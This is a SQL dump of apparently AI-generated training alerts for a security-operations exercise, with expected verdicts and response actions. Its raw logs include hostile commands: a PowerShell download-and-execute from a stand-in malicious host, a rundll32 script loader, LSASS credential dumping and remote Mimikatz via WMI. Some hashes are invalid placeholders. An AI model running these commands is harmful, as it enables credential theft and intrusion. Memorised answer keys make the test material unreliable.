(2132, 'Process Hollowing Detected in Critical System Process', 'critical', 'CrowdStrike', 'A sophisticated process hollowing attack was detected in a critical system process, suggesting an attempt to hide malicious payloads in memory.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.20\",\"dst_ip\":\"192.168.4.40\",\"username\":\"system\",\"hostname\":\"MAIL-SERVER\",\"command_line\":\"svchost.exe -k netsvcs\",\"file_hash\":\"a54d88e06612d820bc3be72877c74f257b561b19\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address involved in process hollowing\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"svchost.exe -k netsvcs\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command associated with process hollowing in critical system processes\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a54d88e06612d820bc3be72877c74f257b561b19\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to advanced malware using process hollowing techniques\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of svchost.exe with unusual parameters and the associated hash confirms process hollowing activity.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2133, 'Fileless PowerShell Malware Execution Detected', 'critical', 'CrowdStrike', 'A fileless PowerShell malware was executed on an internal server using process hollowing techniques. The malware communicates with a C2 server over Discord.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:42:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.25\",\"dst_ip\":\"198.51.100.32\",\"username\":\"svc_admin\",\"hostname\":\"server01.internal\",\"command_line\":\"powershell -nop -w hidden -enc JABQAG8AdwBlAHIAUwBoAGUAbABsAC4A\",\"file_hash\":\"3d5128a1a3c9c9e8f0d6b9f1a0e3f4g5\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.32\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 200 times for C2 communications.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -enc JABQAG8AdwBlAHIAUwBoAGUAbABsAC4A\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command indicative of fileless malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d5128a1a3c9c9e8f0d6b9f1a0e3f4g5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware signature.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command and communication with a known malicious C2 IP confirm the presence of fileless malware.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2134, 'Credential Dumping via LSASS Detected', 'high', 'Carbon Black', 'Suspicious access to LSASS memory detected indicative of credential dumping. The attacker used procdump.exe to extract credentials.', 'Credential Attack', 'T1003.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:20:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"none\",\"username\":\"jdoe\",\"hostname\":\"workstation02.internal\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe dumpfile.dmp\",\"file_hash\":\"f2b1d9e8c9a6b8c4e2f1d3a9e8f4b7c6\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe dumpfile.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for credential dumping from LSASS.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"f2b1d9e8c9a6b8c4e2f1d3a9e8f4b7c6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious procdump usage.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of procdump.exe against LSASS and the associated hash confirm credential dumping activity.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2135, 'Lateral Movement Detected via WMI', 'critical', 'SentinelOne', 'Detected lateral movement attempt using WMI to execute commands on a remote host. The attacker leveraged a compromised admin account.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.2.2.14\",\"dst_ip\":\"10.2.2.20\",\"username\":\"admin_compromised\",\"hostname\":\"client01.internal\",\"command_line\":\"wmic /node:10.2.2.20 process call create \'cmd.exe /c whoami\'\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.2.2.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Destination IP is an internal asset.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wmic /node:10.2.2.20 process call create \'cmd.exe /c whoami\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Use of WMI for remote command execution detected.\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The WMI command for remote execution and compromised admin account indicate an active lateral movement attempt.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2136, 'DGA Domain Activity Detected', 'high', 'Sysmon', 'Communication with a dynamically generated domain pattern observed, indicative of a botnet or malware C2 using fast-flux technique.', 'Malware', 'T1568.002', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:54:10Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.57\",\"username\":\"malware_user\",\"hostname\":\"infected_pc.internal\",\"domain\":\"xj12kl3r9df.xyz\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"xj12kl3r9df.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with malware C2 using DGA.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported multiple times for fast-flux activity.\"}}],\"expected_actions\":[\"block_ip\",\"block_domain\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The DGA domain and fast-flux IP indicate sophisticated malware C2 activity.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2137, 'Memory-Only Payload Detected via Process Hollowing', 'critical', 'CrowdStrike', 'A memory-only payload was executed on an endpoint using process hollowing. The malware initiates multi-hop C2 communications.', 'Malware', 'T1055.012', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.10.50\",\"dst_ip\":\"198.51.100.45\",\"username\":\"user123\",\"hostname\":\"desktop03.internal\",\"command_line\":\"rundll32.exe hollowed.dll,EntryPoint\",\"file_hash\":\"a2c5b7e9f8e4d3c2b1f6d9a8b3c4e7f5\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multi-hop C2 communication patterns.\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"rundll32.exe hollowed.dll,EntryPoint\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Process hollowing technique detected.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a2c5b7e9f8e4d3c2b1f6d9a8b3c4e7f5\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches with known memory-only payload.\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of process hollowing and communication with a known malicious IP confirm the presence of advanced memory-only malware.\"}', 'Expert', 'EDR', 9, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2138, 'APT-Level PowerShell Fileless Malware Detected', 'critical', 'CrowdStrike', 'A fileless malware attack was detected using PowerShell to execute malicious scripts from memory. The attack involved credential dumping from LSASS.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:23:10Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"host001\",\"command_line\":\"powershell -nop -w hidden -ep bypass -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/ps.ps1\')\\\"\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -ep bypass -c \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicious.com/ps.ps1\')\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell script used for fileless malware delivery\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for hosting malicious content\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with PowerShell-based malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of PowerShell indicates a fileless attack aimed at avoiding detection by traditional antivirus solutions.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, NULL, 0),
(2139, 'Credential Dumping via LSASS Detected', 'high', 'Carbon Black', 'A sophisticated attack attempt was identified where credentials were dumped from the LSASS process using a known tool.', 'Credential Attack', 'T1003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.5\",\"username\":\"alice\",\"hostname\":\"server02\",\"command_line\":\"procdump.exe -accepteula -ma lsass.exe lsass.dmp\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"procdump.exe -accepteula -ma lsass.exe lsass.dmp\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Procdump used for unauthorized credential access\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"lsass.dmp\",\"is_critical\":false,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Memory dump of LSASS process containing sensitive credentials\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of Procdump to access LSASS memory is a known technique for extracting credentials.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2140, 'Lateral Movement Detected via WMI', 'critical', 'SentinelOne', 'An attacker leveraged WMI for lateral movement within the network, targeting multiple internal hosts.', 'Lateral Movement', 'T1047', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:15Z\",\"event_type\":\"network_connection\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.25\",\"username\":\"bsmith\",\"hostname\":\"workstation01\",\"command_line\":\"wmic /node:10.0.0.25 process call create \\\"powershell -nop -w hidden -ep bypass -c Invoke-Mimikatz\\\"\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"wmic /node:10.0.0.25 process call create \\\"powershell -nop -w hidden -ep bypass -c Invoke-Mimikatz\\\"\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"WMI used for remote code execution and credential harvesting\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Source IP of compromised machine within the internal network\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Target IP of the lateral movement attempt\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of WMI indicates an advanced persistence and lateral movement strategy.\"}', 'Expert', 'EDR', 9, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2141, 'Fast-Flux DNS Detected in Malicious Activity', 'high', 'Sysmon', 'DNS queries for known fast-flux domains associated with C2 communications were detected.', 'Data Exfil', 'T1071', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:10:50Z\",\"event_type\":\"dns_query\",\"src_ip\":\"10.0.0.20\",\"domain\":\"suspect-domain.xyz\",\"hostname\":\"desktop01\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspect-domain.xyz\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain associated with fast-flux networks used for data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the system querying the malicious domain\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_domain\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Fast-flux domains are often used for evasive C2 communications in data exfiltration campaigns.\"}', 'Expert', 'EDR', 9, 1, 'RETAIL', NULL, NULL, NULL, 0),
(2142, 'Subtle Indicators of Memory-Only Payload Detected', 'critical', 'CrowdStrike', 'Heavy obfuscation and memory-only payloads were detected, indicating an advanced persistent threat using legitimate services for C2.', 'Malware', 'T1055', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T16:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"104.21.45.78\",\"username\":\"cmiller\",\"hostname\":\"laptop03\",\"command_line\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write(\'<script src=http://legit-service.com/c2.js></script>\');\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"rundll32.exe javascript:\\\"\\\\..\\\\mshtml,RunHTMLApplication \\\";document.write(\'<script src=http://legit-service.com/c2.js></script>\');\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Obfuscated command using rundll32 for memory-only payload execution\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"104.21.45.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to C2 communications via legitimate service abuse\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of legitimate services for command and control indicates an attempt to blend in with normal traffic.\"}', 'Expert', 'EDR', 9, 1, 'ENERGY', NULL, NULL, NULL, 0),
(2143, 'Fileless Malware Detected via PowerShell Script Execution', 'critical', 'CrowdStrike', 'A sophisticated PowerShell script was executed, utilizing obfuscation techniques to evade detection. This script is associated with a fileless malware campaign targeting credential dumping.', 'Malware', 'T1059.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"192.168.1.5\",\"username\":\"jdoe\",\"hostname\":\"DESKTOP-01\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aGVsbG8gd29ybGQ=\"}', '2026-03-16 03:21:51', '2026-03-16 03:21:51', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand aGVsbG8gd29ybGQ=\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"PowerShell command linked to fileless malware activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with victim machine\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The use of encoded PowerShell commands is indicative of fileless malware, warranting a true positive classification.\"}', 'Expert', 'EDR', 9, 1, 'FINANCE', NULL, NULL, NULL, 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(2176, 'Packed Executable Anomaly - False Positive', 'low', 'IDA Pro', 'A packed executable was identified but analysis confirmed it as a legitimate software update.', 'Malware', 'T1027', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:05:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.55\",\"dst_ip\":\"\",\"username\":\"lgrace\",\"hostname\":\"server-022\",\"command_line\":\"C:\\\\Updates\\\\legit_update.exe\",\"file_hash\":\"abcdef1234567890abcdef1234567890\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.55\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"abcdef1234567890abcdef1234567890\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected for this hash\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Updates\\\\legit_update.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as legitimate update process\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"Further analysis confirmed the executable as part of a legitimate software update, leading to false positive.\"}', 'Intermediate', 'MAL', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(2177, 'Benign Macro Execution Mistaken for Malicious Activity', 'medium', 'Cuckoo Sandbox', 'A macro was executed from an Office document but was verified as a legitimate business process.', 'Malware', 'T1203', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:30:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.4.20\",\"dst_ip\":\"\",\"username\":\"bjackson\",\"hostname\":\"workstation-204\",\"command_line\":\"excel.exe /macro C:\\\\Users\\\\bjackson\\\\business_report.xlsm\",\"file_hash\":\"1234567890abcdef1234567890abcdef\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Document hash clean, associated with business processes\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"excel.exe /macro C:\\\\Users\\\\bjackson\\\\business_report.xlsm\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Execution of known business macro\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macro was part of a regular business process, leading to a false positive detection.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2178, 'Suspicious Packed Executable Detected in Network', 'high', 'Cuckoo Sandbox', 'A packed executable was captured and analyzed revealing a suspicious behavior pattern. The file exhibited network communication attempts to a known C2 server.', 'Malware', 'T1059.003', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.15\",\"dst_ip\":\"203.0.113.98\",\"username\":\"john.doe\",\"hostname\":\"workstation-01\",\"command_line\":\"C:\\\\Users\\\\john.doe\\\\AppData\\\\Local\\\\Temp\\\\suspicious.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.98\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as Trojan.Generic by multiple AV engines\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The packed executable attempted to connect to a known malicious IP, indicating an active compromise.\"}', 'Intermediate', 'MAL', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(2179, 'Macro-Based Malware Execution Detected', 'critical', 'Any.Run', 'A document with malicious macros was executed, leading to a download of a payload from an external server.', 'Malware', 'T1203', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:30Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.20\",\"dst_ip\":\"198.51.100.12\",\"username\":\"alice.smith\",\"hostname\":\"workstation-02\",\"command_line\":\"C:\\\\Users\\\\alice.smith\\\\Documents\\\\invoice.docm\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with malware distribution\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as Macro.Downloader by several AV engines\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"192.168.2.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected user\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of malicious macros led to a download from a known malicious server, confirming the attack.\"}', 'Intermediate', 'MAL', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(2180, 'Potential Malicious Macro Execution Flagged', 'medium', 'Ghidra', 'A document containing macros was executed, but further analysis suggests it was a benign template from a known good source.', 'Malware', 'T1203', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.3.25\",\"dst_ip\":\"203.0.113.15\",\"username\":\"charlie.brown\",\"hostname\":\"workstation-03\",\"command_line\":\"C:\\\\Users\\\\charlie.brown\\\\Documents\\\\report_template.docm\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected in the file hash\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the user\'s machine\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The macros were part of a legitimate template, and the hash was verified as clean.\"}', 'Intermediate', 'MAL', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(2181, 'Suspicious Network Activity from Internal Host', 'high', 'IDA Pro', 'Unusual network connections were made from an internal host to multiple unknown external IPs, potentially indicating a scanning activity.', 'Lateral Movement', 'T1049', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"david.johnson\",\"hostname\":\"workstation-04\"}', '2026-03-16 03:25:33', '2026-03-16 03:25:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the scanning host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple scanning activities\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The connection pattern matches known reconnaissance techniques, suggesting lateral movement attempts.\"}', 'Intermediate', 'MAL', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
